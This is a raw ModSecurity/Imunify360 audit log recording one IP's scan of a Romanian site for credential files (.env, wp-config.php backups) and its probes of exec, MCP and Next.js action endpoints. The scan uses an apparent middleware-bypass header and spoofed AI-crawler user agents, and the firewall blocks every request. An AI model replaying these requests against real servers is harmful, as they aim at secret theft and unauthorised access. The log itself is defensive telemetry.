X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f570ce04-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f570ce04-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp/.env"] [unique_id "aqZA3DTJ6xTvcJoem7f4WwAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280476089337 415866 (- - -)
Stopwatch2: 1789280476089337 415866; combined=4334, p1=259, p2=4019, p3=0, p4=0, p5=56, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f570ce04-Z--

--b8ee1532-A--
[13/Sep/2026:09:21:16.807301 +0300] aqZA2zTJ6xTvcJoem7f4TQAAAFI 34.181.172.83 56410 127.0.0.1 7081
--b8ee1532-B--
GET /.env.swp HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b8ee1532-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b8ee1532-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.swp"] [unique_id "aqZA2zTJ6xTvcJoem7f4TQAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475718605 1088775 (- - -)
Stopwatch2: 1789280475718605 1088775; combined=4999, p1=200, p2=4738, p3=0, p4=0, p5=60, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b8ee1532-Z--

--640c3120-A--
[13/Sep/2026:09:21:16.817986 +0300] aqZA3GM7dE9KgIIOpQhrAQAAANI 34.181.172.83 56568 127.0.0.1 7081
--640c3120-B--
GET /wp-config.php~ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--640c3120-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--640c3120-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280476349101 468939 (- - -)
Stopwatch2: 1789280476349101 468939; combined=43372, p1=224, p2=43080, p3=0, p4=0, p5=67, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--640c3120-Z--

--ea534d72-A--
[13/Sep/2026:09:21:16.828827 +0300] aqZA2zTJ6xTvcJoem7f4TAAAAEM 34.181.172.83 56404 127.0.0.1 7081
--ea534d72-B--
GET /web/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ea534d72-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ea534d72-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/web/.env"] [unique_id "aqZA2zTJ6xTvcJoem7f4TAAAAEM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475706944 1121938 (- - -)
Stopwatch2: 1789280475706944 1121938; combined=4794, p1=240, p2=4502, p3=0, p4=0, p5=52, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea534d72-Z--

--1838f20b-A--
[13/Sep/2026:09:21:17.107710 +0300] aqZA3CsVWymXUono-eRTCwAAABY 34.181.172.83 56598 127.0.0.1 7081
--1838f20b-B--
GET /wp-config.php.swp HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1838f20b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1838f20b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280476988566 119241 (- - -)
Stopwatch2: 1789280476988566 119241; combined=37288, p1=238, p2=36937, p3=0, p4=0, p5=113, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1838f20b-Z--

--809c4860-A--
[13/Sep/2026:09:21:20.106942 +0300] aqZA32M7dE9KgIIOpQhrDwAAANc 34.181.172.83 56868 127.0.0.1 7081
--809c4860-B--
POST /api HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2smhkx4i2wpvwv
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--809c4860-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--809c4860-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280479998478 108548 (- - -)
Stopwatch2: 1789280479998478 108548; combined=11596, p1=1014, p2=10187, p3=0, p4=0, p5=394, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--809c4860-Z--

--963fd72b-A--
[13/Sep/2026:09:21:20.478081 +0300] aqZA4DTJ6xTvcJoem7f4YQAAAFg 34.181.172.83 56880 127.0.0.1 7081
--963fd72b-B--
POST /api/v1/validate/code HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip

--963fd72b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--963fd72b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280480391139 86994 (- - -)
Stopwatch2: 1789280480391139 86994; combined=5345, p1=248, p2=4780, p3=0, p4=0, p5=316, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--963fd72b-Z--

--19c11f10-A--
[13/Sep/2026:09:21:20.804142 +0300] aqZA4GM7dE9KgIIOpQhrEAAAANI 34.181.172.83 56890 127.0.0.1 7081
--19c11f10-B--
POST /api/fs/exec HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip

--19c11f10-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--19c11f10-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280480701834 102363 (- - -)
Stopwatch2: 1789280480701834 102363; combined=7958, p1=236, p2=4581, p3=0, p4=0, p5=3140, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--19c11f10-Z--

--c40b7d29-A--
[13/Sep/2026:09:21:21.209674 +0300] aqZA4WM7dE9KgIIOpQhrEQAAAMA 34.181.172.83 56902 127.0.0.1 7081
--c40b7d29-B--
DELETE /api/inngest HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip

--c40b7d29-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c40b7d29-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280481086863 122900 (- - -)
Stopwatch2: 1789280481086863 122900; combined=4215, p1=267, p2=3624, p3=0, p4=0, p5=323, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c40b7d29-Z--

--8154783d-A--
[13/Sep/2026:09:21:21.470519 +0300] aqZA4Uwu1RSkptiiNIXz8AAAAIA 34.181.172.83 56906 127.0.0.1 7081
--8154783d-B--
DELETE /inngest HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip

--8154783d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8154783d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280481388334 82237 (- - -)
Stopwatch2: 1789280481388334 82237; combined=5244, p1=294, p2=4559, p3=0, p4=0, p5=390, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8154783d-Z--

--cb08f761-A--
[13/Sep/2026:09:21:21.714022 +0300] aqZA4WM7dE9KgIIOpQhrEgAAAMI 34.181.172.83 56912 127.0.0.1 7081
--cb08f761-B--
POST /read-document HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip

--cb08f761-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cb08f761-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280481634903 79175 (- - -)
Stopwatch2: 1789280481634903 79175; combined=5522, p1=284, p2=4965, p3=0, p4=0, p5=272, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cb08f761-Z--

--4353c277-A--
[13/Sep/2026:09:21:22.082943 +0300] aqZA4mM7dE9KgIIOpQhrEwAAANY 34.181.172.83 56914 127.0.0.1 7081
--4353c277-B--
POST /read-document HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip

--4353c277-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4353c277-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280482005262 77732 (- - -)
Stopwatch2: 1789280482005262 77732; combined=5008, p1=261, p2=4486, p3=0, p4=0, p5=260, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4353c277-Z--

--d03b567d-A--
[13/Sep/2026:09:21:22.402871 +0300] aqZA4kwu1RSkptiiNIXz8QAAAJY 34.181.172.83 56928 127.0.0.1 7081
--d03b567d-B--
POST /mcp HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip

--d03b567d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d03b567d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280482322849 80106 (- - -)
Stopwatch2: 1789280482322849 80106; combined=8938, p1=250, p2=8279, p3=0, p4=0, p5=409, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d03b567d-Z--

--34835178-A--
[13/Sep/2026:09:25:30.547065 +0300] aqZB2jTJ6xTvcJoem7f4cwAAAFU 169.40.142.190 60148 127.0.0.1 7081
--34835178-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

